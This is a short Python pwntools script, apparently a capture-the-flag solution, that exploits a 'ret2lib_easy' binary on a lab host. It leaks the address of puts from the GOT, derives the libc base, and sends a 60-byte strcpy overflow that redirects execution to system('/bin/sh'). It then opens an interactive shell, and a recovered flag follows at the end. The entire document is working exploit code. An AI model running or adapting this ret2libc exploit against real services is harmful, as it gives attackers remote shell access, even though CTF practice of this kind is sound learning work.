#!/usr/bin/env python
from pwn import *

r = remote('192.168.31.25',11004)
ret2lib = ELF('./ret2lib_easy')
lib	= ELF('./libc.so.6-32')

#CANARY    : disabled
#FORTIFY   : disabled
#NX        : ENABLED   --> not shellcode
#PIE       : disabled
#RELRO     : Partial
#8048563:	e8 78 fe ff ff       	call   80483e0 <strcpy@plt>               #copystr input and crash with long string  offset = 60

base_add = ''
puts_got = ''
sys_got = ''
sh_off = list(lib.search('/bin/sh'))[0]
sh_add = ''

res = r.readuntil(':')
# print the gotaddress of puts
r.send(str(ret2lib.got['puts']))
res = r.readuntil('me :')

puts_got =int( (res.split('\n')[0]).split(' ')[-1] , 16)
base_add = puts_got - lib.symbols['puts']
sys_got = base_add + lib.symbols['system']
sh_add = base_add + sh_off

print 'puts_got =',hex(puts_got)
print 'base_add =',hex(base_add)
print 'sys_got  =',hex(sys_got)
print 'sh_add   =',hex(sh_add)

padding = 'A' * 60


payload = padding + p32(sys_got) + 'A'*4 + p32(sh_add)

r.send(payload)
r.interactive()


#AD{r3722222222222l1BB}
